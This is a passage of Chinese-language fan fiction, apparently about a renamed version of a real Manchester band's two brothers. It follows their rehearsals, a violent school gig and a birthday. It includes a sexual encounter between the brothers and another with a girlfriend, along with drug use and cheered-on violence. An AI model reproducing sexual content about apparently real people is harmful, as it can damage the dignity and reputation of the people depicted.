“他在搞什么玩意儿?”利亚姆问。
“不知道。”Tony与Guigs一同耸肩。
“他就是个混蛋,他的脑子被大麻搞坏了。”利亚姆对着塞里尔继续说,“我哥他天天窝在公寓抽大麻,他就是世界上最傻逼的人。”
“昨晚与我待在一起的时候你也在抽大麻。”看着利亚姆傻乎乎的模样,塞里尔笑出声。
“Haha! ”利亚姆干笑,表情有些尴尬。他的朋友们也在旁边嘲笑他,这让利亚姆挂不住脸,他将手拍得啪啪响,出声道。
“让我们动起来吧,诺尔不在这儿我们也能做好。”
他首先来到话筒旁,摆出起唱的姿势,勾着脖子向成员们招手。
这让其余三位成员只能依他,他们回到各自的走位上。而房间里唯一的女孩,塞里尔坐在椅子上撑着下巴望着利亚姆,带着期待的眼神,等待接下来的演出。
好笑的是,没有诺尔的存在,但他写的歌依然有存在感,话筒旁的男孩正唱着他写的歌。
利亚姆好似感知到这些,他在唱歌期间用尽全力的吼叫,在唱完所有的歌词后他甩起手臂将架子上的话筒打落。下一刻他蹲在地上抱着脑袋,一副磕大了的样子,被汗浸湿的刘海看起来黏糊糊的,样子很狼狈。
没有给人反应时间,他又突然站起来走动,像个神经质一样在台上绕了半圈又重新回到话筒架旁。
塞里尔刚认识这位男孩,对男孩情绪的突然爆发有些发愣,并害怕男孩跳起来殴打在场所有人的脑袋。她不清楚男孩发生了什么,但她有个猜想,这与刚刚离开的诺尔有关,这位男孩的兄弟。
利亚姆的情绪很突然的爆发又很突兀的消失,维持着一种平衡排练继续进行,只不过所有人的情绪都不是很高涨,都不在状态,演的曲子有一种平静的死感,但仍然继续。
而另一边的诺尔,他很有危机意识远离了排练室的情绪风暴,坐在一家曼切斯特有名的Aostrio酒吧喝着马提尼。
每当有女孩靠近搭讪时,他就会举起左手给她们展示无名指上戴的戒指。虽然他们三兄弟都有同款,但别人可不知道这是亲情的象征,女孩会认为他结婚或者订婚了。
Fuck it, 这戒指真是个挡桃花的神器,他的女友露易丝会很高兴见到这些,不过她现在不能当面看到,因为她在伯明翰工作,诺尔不知道她什么时候回来。
诺尔喜欢待在酒吧里,身前走过许多年轻的男女,你仿佛能看见他们的激情与萌动。你的感官被躁动的舞曲无限放大,举着一只手跟着音乐摇晃顺带缓慢的晃动脚步,诺尔享受这些。
当然,喜欢泡吧的人通常很能喝酒。比如说诺尔自己,他从十岁就开始接触酒精,如果不是他妈妈限制他喝酒时间,他能喝上好几天。
高浓度酒精已经喝了几杯,拿在手上的啤酒杯已经无限被续上,他不记得喝了多少升,只记得上了无数次厕所,趴在马桶上吐了几次。
“我他妈应该找个人接我。”诺尔甩着神志不清的脑袋,缓慢走向吧台,不知道为什么,他克制不住想到利亚姆,这个惹人恨的小混蛋。
“我可以打电话吗?”他眯着迷蒙的眼睛询问。
酒保将电话推上前,礼貌说,“请用。”
诺尔从口袋掏出电话簿,这东西很迷你适合随身携带,他此时很庆幸这东西还在口袋。
诺尔拿起电话按下号码,在电话接通后将其贴到耳边。
“Hey哥们,你看见Rkid吗?”
没有得到“yes”回答,诺尔再次拨打第二个号码,同样的问题,“你看到Rkid吗? ”
这位朋友也不知道,诺尔几乎打完电话簿上的所有电话,这让他脑袋要爆炸了,按号码的手指变得躁动,他打算进行最后的尝试。
“你看见Rkid了么?……对,我在Aostrio酒吧,让他来找我……好,谢了哥们。”
向朋友传达完讯息,诺尔松了一口气,他把电话放回推到酒保手边。
“谢了,mate. ”他望着酒保指着电话,“我需要付电话账单吗?”
对方被逗笑,“Sir, 这是免费的,和我们一样都是为了服务。”他风趣的说。
“Haha, 这很棒,原谅我,我的脑子有些不清晰。”诺尔头疼的按压太阳穴,干巴巴的笑。
“需要为你叫车吗?”
“不用,我家兄弟会来接我,谢谢你的好意。”
诺尔垂眸喝完杯底的啤酒,告别酒保来到门口蹲着。他困顿的倚在门旁,无聊的抽着烟。凌晨的晚上,路上只有稀疏车辆,车经过扬起轻风,将诺尔嘴边的烟雾吹散,散往黑暗中。
诺尔在风中观察烟雾的行进路径,看入神时刻,利亚姆的身影逆着烟雾闯入他的视野。
男孩穿着格子开衫,里面套着一件白色衬衫,他插着裤兜半蹲在诺尔的眼前。
男孩背对着灯光,在下方人的视线中,这人就如天使一样散
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发着光芒,耀眼得很。诺尔想把他拥入怀里,但可惜的是他没有。
利亚姆低头望着他,思考需要说什么,眉毛犯难的皱起。
“你是白痴吗?”他这样说。
“很抱歉,我不是。”诺尔抖了下腿,表情变得痛苦,“拉我一把,我特么等你太久,我的脚麻了。”他向旁边的人伸出手。
利亚姆握住,使了劲拉他。
“你就是白痴,你可以坐在里面等我。”
“我不知道,我没想到。”诺尔将发麻的脚往地上磕。他往公寓的方向走,脚步有些不稳。利亚姆立刻扶住他的肩膀,搭在上面顺着他的步伐走。
“这有必要接你吗?这酒吧离你那破公寓只隔了四条街。”
“这特么四条街!你知道你还来?”诺尔反问。
“你个混蛋,你知道我会来。”利亚姆反驳,抿嘴不服气的说,“Nick说你喝醉了,我想我应该来一趟。”
(补充:Nick是他们共同的朋友,利亚姆刚才在这位朋友家喝酒听音乐。)
诺尔没有接话偏头去望旁边的建筑物,他清了清嗓子,兀自说着。
“你知道的,露易丝不在,我们……”
“什么?”他急迫的问。
诺尔明显醉了,所以他趁着酒意说出口。
“你知道的,我和你!”他指向利亚姆的胸口,又收回指尖指着自己的胸口,带着害羞的浅笑。
利亚姆难得的与这位酒鬼对上眼神,他的眼神带着试探与胆怯,而诺尔的眼神变得温柔,双方所表达的早已明了,眼里的深意不言而喻。
到公寓,诺尔抖着手拿着钥匙开门。门刚被关上,利亚姆就把他扑倒在地上,双手撕扯他的衣服。利亚姆过于急迫,他把诺尔身上的衬衫撕扯成长长布条,伸长舌头勾着下巴亲吻下方的人。
“我特么刚买的衣服。”诺尔别住他的下巴止住亲吻,痛骂。
他把利亚姆掀开指着胸口被指甲划出的红痕,“你的手不打算要了,是吗?”
利亚姆无辜的坐在地上,“一定程度上,这不是我的错。”
e on! ”他把诺尔拉起,“在床上还是在沙发上?”
“沙发,肯定是沙发。”因为露易丝……这他没有说出口。
他躺在沙发上等着,利亚姆覆在上方脱掉上衣,低下头咬着他牛仔裤上的拉链。
脱得露出下腹,利亚姆没有一丝犹豫开始用他的手。
完成后,诺尔与他交换位置。他们不打算做到底,互相抚摸亲吻抱着彼此就够了。
32. 被IC乐队正式辞退
下一年九月也就是92年的九月,诺尔跟着IC乐队在巴黎巡演,他在酒店的房间创作一首歌——《Lock all the doors 》。
“让我们躲在门后吧,别让任何人发现。关闭所有的灯,趴到地上紧紧地抱在一起。静静地贴近彼此的胸口,聆听那如鼓点般的心跳。”
这首歌表达的感情太私人了,让诺尔有些犹豫要不要录制。但它是个好歌,诺尔不打算让它压入箱底,捏住纸张把它夹在入本子里面。此刻,诺尔宛如一位耐心的猎人,静静等待着下次踏入录音室的契机,期待着能将这美妙的旋律完美呈现。
利亚姆会喜欢这首歌,因为这个男孩笃定他写的所有的歌都是关于他的。
“谁会不喜欢写给自己的歌!不喜欢?那个人绝对是个蠢东西。”这是利亚姆经常对着他耳边说的话。
就像男孩所认为的,他大部分的歌是关于他,但有些只是醉酒或磕嗨顺手写出的产物。
写歌需要消耗感情,你的歌词一定程度会暴露你心中所想。诺尔善于用笔写下生活中的希望与激情,利亚姆带给他的情绪首当其冲,这些都会在歌词中呈现。诺尔对外在感情很吝啬,而利亚姆相反。他能体会到男孩对他最直白的爱意,这不掺杂着任何利益,只是纯粹的爱意。诺尔对其趋之若鹜,他半生都在渴望它,而利亚姆满足了他。
远在巴黎的他想念在家的利亚姆,自这个小混蛋出狱到现在,诺尔已经十个月没见过他,这特么可是接近整整一年!
虽说见不上面,但他们基本每天晚上都打电话。如果没有特殊情况,他们每天晚上都会聊上一小时。这听起来很甜腻是吗?
但诺尔仍对男孩偷车入狱的事感到生气和失望,他不觉得这是一个主唱该有的行为,男孩应该乖乖的在他掌控之下,而不是做出令人窒息的操作。
利亚姆就是个混蛋!这让他感到伤心。诺尔有时候觉得男孩并不爱他,因为男孩完全不顾他的感受,忽视诺尔为Bloom乐队做出的贡献,虽然说这些都是诺尔愿意去做的,他热爱音乐,但他得不到利亚姆对他成果的尊重。他坐在硌屁股的椅子上,咬着笔头写下一段段歌词,通常这些会消耗掉他好几晚的时间,这他从来不向任何人诉苦,毕竟他是乐队的BOSS兼作曲人作词人,也是利亚姆可以依赖信赖的Big brother。
他想说的是,如果男孩尊重他听从他的意愿,他应该与那个神经病女友分手,而不是为了那个女孩与他的哥哥对质!
利亚姆带着不如意的心情与诺尔通电话,把他的坏情绪都发泄到他哥身上,通常两人会以争吵以及摔电话结束了。当第二天利亚姆会撒娇请求他的原谅,两人会像一切没发生一样继续聊着。但这有什么意思呢,这只会消耗彼此的精力与爱意,但诺尔对此没辙,想必利亚姆也是。
在诺尔看来,利亚姆的恋爱关系是一坨被搅的稀巴烂的屎。他这样说可不是因为嫉妒塞里尔,因为他有眼睛,他可以观察这对情侣的发展。
塞里尔对利亚姆的重要性可见一斑,因为男孩称赞诺尔写他女友的歌——《Headshrinker精神病医生》。当这首歌被录制时,利亚姆可没有表现得很抗拒。他甚至边唱边大骂他的女友,这让诺尔嗤笑,凭借利亚姆对这首歌的态度,他更加鄙夷那位叫做塞里尔的女孩。
“嘿诺尔,告诉你个不幸的消息。”IC乐队键盘手Clint通知他。
“你被踢出乐队了,将你的行李收拾好,l am sorry…”
因他的心思不在工作上,诺尔被开除了。他拿着经理给他的两千英镑工资,与同样被开除的Nick Butler一起离开。Nick开着自己的面包车,载着诺尔从巴黎回到曼切斯特。
一到目的地,他就带着Nick去见他弟弟的Bloom乐队,告诉他这支乐队是多么的有潜力,他应当过来帮忙,而他的这位朋友当然同意。
利亚姆对这位新朋友很喜欢,认为Nick与他的另一个叫做Nick的朋友一样酷,他跟在新朋友的身后捣乱。好不容易摆脱了利亚姆的纠缠,诺尔乐于看到这个场面。
一切都在有条不紊的进行中,诺尔待在Bloom已成全职,他正式成为这支乐队的接管人,严苛安排乐队在每晚六点到凌晨三点进行排练,他是boss没有人反对。他来写歌编曲,其余人有着各自应弹的节奏部分,乐队五人算得上融洽和谐,除了他们年轻主唱时不时的罢唱。
“我嗓子痛!”他这样说,但下一秒他拿起啤酒和香烟往嘴里塞。
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>“酒精和香烟不会让你的喉咙变得更动听。”诺尔嘲讽。
“行吧。”利亚姆只听他的话,放下酒让他的喉咙得到休息。
“该死的控制狂。”他指着地面骂,当然,这是针对他哥的。
“我不是。”诺尔当然反驳他,虽然他一定程度上是这样,但他绝不会承认。
“操蛋!”
“滚开!别逼我扇你。”
当兄弟俩吵架时任何人都没法干涉融入,所形成的氛围隔绝了所有人。他们以恶毒的语言进行谩骂,他们是兄弟,他们互相了解,有时候更容易攻击到对方脆弱的地方。
“你的存在是为了我在病重时提供器官和血液!”
诺尔无心说出的话让他的兄弟伤心透了,他泄气低下头颅有气无力的鼓掌。他给予诺尔一定的态度:你特么赢了,我骂不过你,这伤害到我了。
诺尔对他的情绪习以为常,踢着男孩的屁股让他抬起头。诺尔搬来椅子坐在前面,拿着打印出的歌词教他怎么唱。
“我怎么唱就怎么唱,我不需要模仿你!”
“你随意,你是主唱。”
“这特么真棒。”他继续趴在他哥膝盖上识词,“这什么意思?”
“你管它什么意思,你唱就是了,傻逼才会琢磨这个那个是什么意思!”
“Nice——”利亚姆的下巴磕在他的膝盖上说,眼神因为困顿半眯着。
“你他妈还是个婴儿么,离我远点。”诺尔坏笑道。他把腿上的脑袋拍开,得空的翘起二郎腿,
利亚姆爱美得很,低着头整理被他哥拍瘪的发型,“别拍我的脑袋。”委屈的瘪着嘴。
“那你应该别把你的头放在我的腿上,你个蠢货。”他嗤笑一声,满满的对利亚姆的嘲讽。
“I want it !”他继续委屈,“你不仅是个控制狂还是个吝啬鬼。”
“Shut it! ”诺尔站起来抱起吉他,招呼所有成员过来排练。
他可没有时间与利亚姆腻歪,他好几个晚上没有睡个好觉,他需要快速完成排练工作躺到舒适床上。
“给我站起来Rkid, 你个混蛋。”诺尔把BOSS以及年长者的姿态发挥得彻底,这让他们的混蛋主唱乖乖的听话唱他的歌。
33. 疯狂的观众
排练完的诺尔在公寓睡了一觉,拿着乐队录制的所有demo出门。他,头哥以及利亚姆是三人不知道天高地厚的混小子,通过骚扰曼切斯特的名人和商人来获得尽可能的演出机会。终于,他们接到当地一所高中的演出邀请。
头哥开着借来的六人座汽车,载着其余的四位成员出发,后面还跟着一辆学校提供小型货车,车斗装着Tony的鼓架以及他们的音响设备,没有吉他贝斯,它们被抱在主人的怀里,颠簸的汽车伤不到乐器脆弱的琴弦。
“呦吼,我们到了!”副驾的利亚姆跳下车,来到后车门挎着诺尔的手臂。
“Mad for it! ”他笑着对下车的诺尔说。
“Yeah! ”诺尔回以大大的可爱的笑容,眼睛笑得眯成一条线。
诺尔一伙人在演出负责人的带领下来到封闭式体育馆,面积不大但人很多,那些躁动的学生等待着乐队的开场。他们今晚将会举行橄榄球开幕式,这里的气氛搞得很血腥,肉眼可见穿着橄榄球服的高大男孩站在台下暴力的嘶吼。
在设备被搬上台时,Bloom五个成员刻不容缓来到舞台。刚将乐器搞出正确的音,迎着主唱的方向就砸来一罐啤酒。
利亚姆灵活躲避飞溅的啤酒泡沫,他竖起中指对着台下的男女愤骂,“你们再扔一个,我他妈跳下台当众在你的脸上揍!”
话音未落人群就发出超乎意料“BOO——”的嘘声,主唱的反击让躁动的学生更加亢奋,一个个高举着手臂随时准备奔到台上来与嚣张的主唱打一架。
“他们看起来真高大,我敢确信你打不过他们。”诺尔抱着吉他贴到主唱身后调笑。
利亚姆偏身,嘴巴贴到诺尔耳边,“我有些害怕!”
他紧张的抿唇,指着一位身高八尺抱着橄榄球的男孩说道,“他的手臂比我的脑袋还大,我怕他跳上来打我,这样我会死的很惨!”
“这还没有发生,我们接下来的演出会让台下的呆鹅们闭嘴,让我们动起来!”
说完,诺尔退回到自己的位置,手里的拨片扫出一段和弦,他抬头对着鼓手点头示意。
“咚!噔——”Tony以一个轰隆鼓声让人群熄声,台下的观众变成该有的样子,摆动双手跟着节奏摇摆。但仍然存在没有素质的混蛋再次往台上扔酒瓶,而其中有个瓶子正巧砸到站在右侧的吉他手腿上。这被站在最前方的主唱看到了,他控制不住心中的恼火。
“站在右边的男孩是我的兄弟,你们敢把酒瓶砸到他身上棒,我他妈会杀了你。”利亚姆右手指着台下,“你知道我什么意思,你们就是一坨屎!”说完,他摆出飞机向下坠落的手势,意在讽刺台下的混蛋们。
利亚姆在维护他哥,这很棒。但他的行为显然恼怒了台下的观众。一位穿着阿纳森球衣的高大粗壮的陌生男子跳到台上,他向主唱挥出手臂。利亚姆不甘示弱,他快速端起话筒架子就往男子脑袋上砸。
“兹——”话筒落地的声音就像打开潘多拉的魔盒,把所有人暴动的顽劣情绪激化出来。
鼓手Tony跳起来帮助利亚姆,对着冲上台的男子挥动鼓棒;诺尔和头哥放下吉他加入战斗,狠狠甩着脚踢向男子;而贝斯手安静的胆怯的望着他们四打一,胸前抱着板凳随时砸向台下蠢蠢欲动的学生观众。
“和他们干起来,他们在欺负我们的朋友!”
台下不知道谁这样喊了一声,使得十几个浅头发的男孩亢奋的冲上台与乐队成员打成一团。
场面一度混乱且暴力,双方混在一块儿推搡互殴。这个局面对诺尔一伙人很不妙,他们机智的抄起身边的工具砸着“敌人”,并找准时机穿过舞台来到后台的更衣室。
诺尔打头阵,对着面色难看的负责人索要演出费用。
“我们没法给你钱,你们的费用来源于募捐箱,而它被偷了。”负责人面色更加难看,“我怀疑是你们偷了募捐箱,抱歉我们没钱支付你们的演出费用。”说完,他派来安保人员把他们赶出去。
“我们的设备怎么办?”Tony问出声,表情很无措。
安保人员开始对着他们威胁,“快离开这儿!你们的设备明天会送回。”
男人的语气很不善,但他们的主唱显然没有对着
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身高二米的安保人员咒骂的勇气,他转移目标对着矮小的负责人叫嚣。
利亚姆感到愤怒,觉得他们乐队成员的尊严被撒一地,他打算赢点脸面。
年轻的主唱指着负责人的脑袋大骂,“你个bitch!没有钱就不要请乐队演出,我们不会傻逼到偷穷鬼们的钱!”
诺尔很了解他,男孩在虚张声势。他来到男孩身后拦腰抱住,与成员们一同拉着利亚姆来到门外。
“把你的坏脾气收起来,我们他妈的在逃命!”诺尔牵着利亚姆的手把他强制拽到车后座。
Guigs他们已经安稳坐好,诺尔快速把利亚姆身后的安全带插好,示意头哥发动汽车。
他们的运气很不好,在车在行驶前就被观众认出,那些混蛋们爬上他们的车拍打车窗,这场面活像个丧尸围城,不过围的是一辆漏风的旧车。
车内的所有男孩被“丧尸”吓到,抱着脑袋尖叫,表情十分惊恐。诺尔对着开车的头哥大吼一声,“Bonehead, 快开车!”
头哥一脚油门踩下,车内所有人的身体由于惯性重重撞到座椅靠背。
“Fuck! ”车内骂作一团。
诺尔从车窗里伸出脑袋,几位混蛋学生依然在他们的车屁股后面追着,但比刚刚被围堵的场面好太多。
“我他妈好像撞到几个混蛋!”头哥偏头喊,他的眼神很专注盯着路面没有一丝松懈。
“Hahaha!”利亚姆大笑,嚣张说着,“撞得好,隔着车我都能听到傻逼们的痛叫!”
他得意对着头哥鼓掌,“他们没有付我们钱,我们不是免费的婊子,这让他们会付出代价!”
诺尔觉得很好笑,他抱着利亚姆的脑袋亲吻。他没觉得利亚姆是个恶棍,此刻的男孩像只乖戾的小狗,等着被人抚摸。而诺尔也是这样做了,摩挲着男孩的脖子。利亚姆回他一个了然且甜蜜的笑容。
“Fucking hell …这太疯狂了。”Guigs吸着气打破车内有些怪异的气氛(因为兄弟俩旁若无人的亲近),他显然对刚刚演出发生的一切而感到惊慌。
34. 利亚姆的二十岁生日1
“Hey , man. 这太劲爆了!”
诺尔抬着下巴道,利亚姆在旁边同意的点头,他的笑容扩大了。
“Shit! 我可不想经历第二次。”Tony摆臂喊。
“当然! ”
这件事告一段落,他们的生活还得继续。
一周后……
9.20号,诺尔跟着Bonehead在街道上闲逛,当然是抽着烟揣着兜,他们穿着大码衬衫和外套(常见的工人阶级穿搭),像个街头混混。
两人没有目的的走着,诺尔来到一家小型的唱片店或者音乐商店,whatever,反正两者没有区别。
“你要买唱片?”Bonehead疑惑。
“Fooking no! ”诺尔在货架上低头寻找什么,“我在找利亚姆的礼物。”
“行吧,我记得明天是他的生日。”
Bonehead蹲下来与他一同寻找。
“对的。”
诺尔站起来到门口瞧,视野更广更易看到货架上的物体。只此一眼,他就被一个白色星星铃鼓吸引,利亚姆拿着它会很合适。他拿着漂亮的铃鼓结账,价格在他接受的范围内——9.99英镑。
Bonehead拿着一张The Wailers唱片放到柜台,挂着坏笑,“哟呵,我觉得这个礼物会惹怒他,他恨死雷鬼乐队了。”
(PS : The Wailers牙买加斯卡、摇滚雷鬼乐队,成立于1963年。)
“这特么是个好主意,我迫不及待见到他便秘的表情。”诺尔指着唱片笑道。
“让我们离开这儿。”头哥走到门外。
“我他妈受够无趣的闲逛了。”诺尔抽烟。
“那回去摆弄吉他呢?”Bonehead轻笑,他也点上烟与诺尔一同蹲在路边抽着。
“你看那人。”诺尔没有回答,他指着路边卖唱的艺人,“这个男人就像我。”
“像什么?你能把话说清楚吗?”头哥抱怨,对着地面捻灭烟头。
“对屎一样生活的激情,我他妈才不会写黑暗消极的垃圾歌,这样的生活可不值得歌颂!”诺尔语速很快,话里透露出对生活的希望,听起来很有意思。他站起来,望着头哥的发旋。
“我同意,这屎一样啊生活再添点消极的玩意儿,那每个人都应该去自杀!”头哥站起来对着诺尔喷着唾沫,他很赞同诺尔的观点。
“Fooking air, fooking birds, fooking lives, 它们都糟透了。”说话人扔下指间的烟头,垂着头揣着兜,“但也有好的部分,Rkid 很不错,他是个有趣的男孩。”
“利亚姆?”头哥惊讶反问,“你确定?他是大家公认的小混蛋,我以为你不喜欢你的兄弟。”
诺尔立刻摇头。
“不是哥们,我爱他。你知道我什么意思,他是我的弟弟,我当然爱他!但我确信他是个混蛋。”他停顿几秒继续说。
“他很滑稽不是么?他经常使我大笑,我爱他。”
诺尔低下头呵呵笑了几声,嘴角上扬的弧度显眼得很。
“行吧哥们,收起你怪异的笑容。”头哥摊手示意,“我们都很爱我们的家人,这是事实。”
家人?利亚姆对诺尔可不仅仅是家人,他们之间的关系更复杂更不易说出口。他们是兄弟,也是情人,但这些诺尔只能在内心呐喊。由于曼切斯特对禁忌感情的相关法律,让诺尔更难说出口。与利亚姆的禁忌关系是罪行,是他们对抗法律、伦理以及上帝的象征。
“Fooking great! 我他妈需要回公寓,露易丝她今天结束在伯明翰的工作回家了。”诺尔终于将他发散的心绪回到该在的位置,露易丝现在是他的女友,请给予她必要的。
“今晚我不去排练了,对他们说一声。”
“男孩们绝对会生气。”头哥督向他,“因为女孩,你真是一刻也不想等。”
“让他们闭上嘴,我是BOSS。”诺尔淡淡说着,“你说的男孩是利亚姆吧,他对我总是很吝啬。”
他稍后回应头哥关于露易丝的内容,“当然是女孩,毕竟今晚我可不会抱着男孩睡觉!”除了Rkid……
但是他们已经一年没有睡在一起了,他对男孩的屁股可没有想法,他只想回到公寓的床上触摸女友柔软的嘴唇和身体。
“好了你个混蛋,快点动起来吧。”头哥好笑道,推着诺尔的肩膀让他挪动。
“谢了哥们,排练室的男孩们交给你了。”诺尔挂着笑说道,他对今晚不踏入排练室而感到轻松。他郑重拍着头哥的肩膀,像交付什么重要人物一样。
“我特么谢谢你,利亚姆最难搞,他谁的话都不听!”头哥抱怨,眼神中的怨气能杀人。
与之相反的是诺尔得意的笑容,“Rkid听我的!祝你好运哥们。”
说完他抛下头哥快速离开,没有给朋友叫住他的机会。
回到公寓,他的女孩在化妆以及身上穿着性感的短裙套装。
“你要去哪?”诺尔对女友的突然打扮感到疑惑,“你知道我什么意思,你才刚到家。”
“酒吧。”露易丝抿着红唇,“和我的朋友们聚会,你知道的我们很长时间没有聚在一起了。”
“Fuck you! ”诺尔紧贴着露易丝的身后抱着女孩裸露的腰,“我们也是!”
露易丝按住他的手,“别弄乱我的衣服,我今晚会早点回来的。”
她转身回抱住诺尔在他脸颊上亲吻,留下一个清晰的红唇痕迹。
她把男友脸上的口红抹开,点着他的鼻头,“等我,好嘛?”
她涂着红色指甲的手指捏住男友的屁股,轻声言,“臀很翘。”
诺尔对女友调情般的赞美没有一点儿抵抗力,耳朵有些发热。
“得了硬汉(tough guy)。”诺尔回应。
露易丝有着强势的性格,她喜欢男孩顺着她的行为。
“我走了,作为补偿今晚我会卖力。”
露易丝临走前在他耳边恶魔低语,并带着意味不明的笑容。
“操蛋,卖力的是我!再说我才不会期待。”
诺尔将门关上自言自语。
他的人格扭捏又矛盾,他这人说出的话与内心的想法极为不同。他期待露易丝能读懂他,虽然这发生得很少。
诺尔拿着扫把将公寓的地面清洁,又把桌子沙发给擦干净。
“我特么真是个天才!”
他比天才还超级天才,毕竟天才可不会像他这样将卫生搞得那么漂亮。
他摸着鬓角在房间里乱逛,努力让自己看起来不是个无聊呆坐的傻子。最终无聊的抽完几根香烟后,他还是坐到窗台旁的桌子前拿起笔。
他无聊透了,他的脑子也很无聊,他寻找一切可以被视作灵感的东西。将桌子底下装着手稿和诗集的木箱搬出来,翻找称心如意的单词或者句子。
不管怎样,他翻书抄上几句或者借鉴几句,并加入自己的想法,歌曲的大部分将完成。但今晚很不称心,他撕掉新作的
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歌词,将他几个小时的成果揉成一团塞入垃圾桶内。
“Fuck sick! ”对今晚一场空的成果无奈叹气。
可怜的诺尔带着满肚子火收拾好桌面,脱掉衣服进浴室洗澡。一切完成后,他躺在床上。
“我应该等露易丝回来。”他的脑子迟缓思考着,而他疲惫的身体将半清醒的大脑拖入睡眠,等女友回来的想法被按在浓浓的睡意中。不到一刻钟,房间内传来有规律呼吸声。
诺尔睡得很深,但还是在凌晨一点左右时间被露易丝回来的动静惊醒。
他带着睡意转身与露易丝亲吻。
“Hey, my love …”露易丝带着酒意覆盖在他背后,留着圆润长甲的手摸到他身下。
“嗯…”他低哼回应,按着女孩的手。
“到这儿来。”偏头的姿势很难受,诺尔拍了拍手边的枕头示意,带着请求,“Please …我的脖子要断了。”
“不!”背后的露易丝调皮说。
她另一只手抵到男友的下身,在看到男友皱巴巴的眉毛后,有所动作。
“嗯哼。”诺尔低哼,表情很震惊。
“你不是想继续吧?这真特么操蛋,我明天有排练!”
“诺尔,这会很有趣的。让我帮你,不要害羞。”
“Calm down, my boy. ”
露易丝亲吻男友的脖子安抚。
“你是加入什么傻逼俱乐部了吗?”诺尔有气无力道。
“什么?”露易丝疑惑。
“没事……”
他抓住露易丝的腰将她往上抬。
“该我了,是吗?”
“当然。”露易丝顺应他的力道,挂着与刚刚完全不同的温润笑容。
“你个醉酒的坏鸟。”他在贴近女友的嘴唇抱怨,“我明天要排练!这特么还是第一次,谁教你的?”
“没有人,我自学成才。”露易丝抬高腰接受诺尔,她像狐狸一样狡猾的笑。
“这可真糟糕……我不会夸赞你的手指. ”
“我还是第一次这样做,这样已经很棒了!”女友继续笑,这次她像一只偷腥的猫。
“这对我一点儿也不棒。”诺尔叹气。
露易丝抱住男友冒汗的脖子,撒娇道,“别分心好嘛。”
诺尔不好意思偏头清了清嗓子,与女孩姿势互调,压倒软软的躯体继续。这样才对味,毕竟露易丝是他的女孩,刚刚发生的事情很不可思议,诺尔努力将其从脑子里剔除。
事后……诺尔懂得露易丝为什么那样做了。
“我吃醋了,因为利亚姆。”躺在诺尔怀里的她继续诉说,“你与你家兄弟太亲近了,桌子上那个星星铃鼓是他的生日礼物吧?我讨厌他。”
“他是我弟弟,我们还在同一个乐队里。”他淡淡说,对着她陈述事实。
他补充,虽然听起来有点奇怪,但他努力表达对女友的爱意。
“你知道的,我爱你。”露易丝摸着他胸口回应。
“嗯,我知道。”
诺尔说得淡淡的,这让露易丝不舒服。她知道她永远比不过利亚姆在男友心中的地位,但她爱诺尔爱到无法自拔,她愿意陪他一直走下去。
“我爱你诺尔。”像是催眠自己也像是催眠对方,她再次陈述。
“我知道。”
诺尔轻言,嘴角难耐的抿平。
轻声细语诉不尽的苦涩。
“晚安。”他在女孩的头发上轻吻。
“Same …”
35. 利亚姆的二十岁生日2
第二天诺尔照常吃早餐、与露易丝喝早茶并陪女孩买生活用品。
e on, girl,将你的速度放快。”他不自觉催促。
“我应该做个美甲吗?”露易丝挽着他的胳膊。
“相信我,长指甲好漂亮,千万不要剪短。”继续补充,“下次你可以涂上不同的颜色,这会很完美。”
小小的哄骗让露易丝接下来的心情很美好,搂着他的肩膀撒娇,这种情绪一直持续到下午五点半左右,因为诺尔要离开公寓去排练。
他穿戴好来到排练室,今晚八点他们乐队需要在The broadwalk俱乐部来场演出。
排练室里头哥、Tony与Guigs围着今天的寿星主角谈笑。诺尔适时加入,从怀里掏出一把星星铃鼓。
当铁片因颤动而发出声音时,利亚姆立刻被吸引,他指着漂亮的铃鼓惊喜的道。
“Fooking hell, 这个是送给我的吗?”
在诺尔点头后他抱着吉他手的胳膊,“爱你Rkid, 这个礼物很棒。”
主唱迫不及待从诺尔手中拿走他的礼物,站在镜子面前摇晃铃鼓,挂着大大的笑容,眉毛高兴得乱飞。
利亚姆他改变位置来到头哥的身旁,对着头哥的耳边摇晃铃鼓,看起来很混蛋且自负。
“小鬼离我远点!”头哥推开他,揉着被高分贝吵到的耳朵。
利亚姆抓住星星铃鼓的一角摇晃并在头哥的周围踱步,他绝对是故意的,他在报复头哥送他不喜欢的礼物,该死的六十年代雷鬼乐队唱片。
他带着称心意的礼物扎眼的乱窜。
“我们是巨大的摇滚乐队,不是该死的雷鬼乐队。”这句话是对头哥说的,因他送给寿星不喜欢的雷鬼唱片。
不知道他想到了什么,“我们他妈是该死的爵士乐队了,我恨死它了!John lennon 真的很棒,他是我的偶像……”
房间内的成员已经适应主唱时不时的发疯,很淡定的喝着酒聊着利亚姆不会加入的话题。
“你们看报纸了吗?今天的Radiohead内容。”
诺尔不知道他们中的谁发问,他的身体与朋友们待在一起,心思却放在利亚姆身上。他们的混蛋主唱在臭美的对着镜子整理发型,察觉到诺尔望过来的视线,他望着镜子里的诺尔嘟嘴,做出滑稽的表情。
诺尔突兀笑出声,这让他成为房间内的焦点。他对着朋友们摆手,将他们继续。
“他们很酷,虽然我没见过他们但我喜欢他们的音乐。”头哥说出内心真实想法。
“Radiohead的专辑刚发行,他们的新闻已经满天飞了。”Guigs在控诉资本的力量。
他们在激烈讨论这支乐队是否能成为电子音乐的先驱,声音很大打扰到还在镜子面前臭美的主唱。
“谁是Radiohead,我从没有听过这个名字。”利亚姆来到他哥身后,他的眼神往上抬一副目中无人欠打的模样。
“愚蠢,你看看报纸吧! ”诺尔用胳膊肘顶开他并站得离他远些,他避免一切的肢体接触。
“《Pablo Honey》就是一坨屎!”诺尔对着Radiohead的首张专辑毫不留情的诋毁。
“但他们的《Creep》单曲很不错,这应该是我会写出来的歌,但被别人抢走了,你们知道我什么意思。”诺尔一改嫌恶的态度开始夸赞Radiohead乐队的主打曲。
“Shut it. ”利亚姆打断,在所有人都没想到之际,他开始活动嘴皮子,边说边他像个狗皮膏药一样再次贴到他哥身上,他哥继续推开他。
“Radiohead到底是什么人物,我不想知道,但他或着他们绝不可能比我们厉害,我觉得我们是全宇宙最棒的乐队。”很自负,这就是利亚姆,只专注于自己的乐队并认为他的乐队最棒。
他对着诺尔问道,“Rkid, 不是么?”
诺尔眯着眼瞥向他,很难得的没有与他吵作一团。
“嗯……我同意。”点头。
他写的歌能暴打那个叫做Radiohead的乐队,他不觉得自家乐队比Radiohead差。不管怎么样,他们乐队只是缺少一个机会,他相信这不会很久,因为迟早有人会看到他们的潜力签下他们。
为了不激起他们年轻主唱的坏情绪,他们四人转变话题,来到自家音乐上。
“你们都应该写点歌!你们是不知道我压力有多大吗?”诺尔对着所有人抱怨。
“你是BOSS!”
